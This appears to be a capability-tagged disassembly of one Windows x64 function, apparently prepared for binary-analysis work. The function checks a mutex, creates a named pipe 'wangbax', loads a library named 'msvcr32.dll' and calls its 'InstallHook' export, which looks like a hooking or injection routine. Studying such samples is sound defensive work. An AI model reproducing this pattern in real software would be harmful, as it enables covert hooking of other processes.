Function at 0x140008dd0
Capabilities:
Check mutex on windows
Create pipe
Create thread
Query environment variable

Disassembly:
push rdi
sub rsp, 0x60
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rsp + 0x78], rbx
mov rax, qword [0x14002a008]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rdi, rcx
mov r8d, 0x28
lea rdx, [0x14002d530]
lea rcx, str.mguid
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x140008e1c
or eax, 0xffffffff
jmp 0x14000904b
lea r8, [0x14002d530]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140008e14
mov eax, dword [0x14002cf70]
test al, 1
jne 0x140008e6c
or eax, 1
mov dword [0x14002cf70], eax
xor eax, eax
mov qword [0x14002cf60], rax
mov qword [0x14002cf68], rax
lea rcx, [0x14001a7d0]
call fcn.14000a338
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x3e8
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0x400
lea edx, [rbx + 1]
mov r9d, 0xff
lea r8d, [rbx + 4]
lea rcx, str..pipewangbax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
mov qword [0x14002cf68], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [0x14002d520], rax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x1400087f0]
xor edx, edx
xor ecx, ecx
call fcn.14000af58
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [0x140008aa0]
xor edx, edx
xor ecx, ecx
call fcn.14000af58
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140002ec0
mov rcx, rax
test rax, rax
setne bl
test ebx, ebx
jne 0x140008f23
mov ecx, 0x80004005
call fcn.140003000
int3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x50]
call fcn.1400048c0
call fcn.140008640
mov rbx, rax
xor eax, eax
mov qword [rsp + 0x48], rax
lea r8, str.msvcr32.dll
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x48]
call fcn.140003f00
nop
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbx], rax
test rax, rax
jne 0x140008f7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x140008f93
lea rdx, str.InstallHook
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx]
call rax
nop
mov rdx, qword [rsp + 0x48]
or ebx, 0xffffffff
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], ebx
jg 0x140008fae
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
lea rdx, str.zbcloud
call fcn.1400039b0
call fcn.140008b70
mov eax, dword [0x14002dae0]
test al, 1
jne 0x14000901e
or eax, 1
mov dword [0x14002dae0], eax
xor eax, eax
mov qword [0x14002daf0], rax
mov qword [0x14002daf8], rax
mov qword [0x14002db00], rax
mov qword [0x14002db08], rax
mov qword [0x14002db10], rax
mov qword [0x14002db18], rax
mov qword [0x14002db20], rax
call fcn.140008720
lea rcx, [0x14001a8a0]
call fcn.14000a338
mov rdx, rdi
lea rcx, [0x14002daf0]
call fcn.1400082c0
nop
mov rdx, qword [rsp + 0x50]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], ebx
dec ebx
jg 0x140009049
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140009a40
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret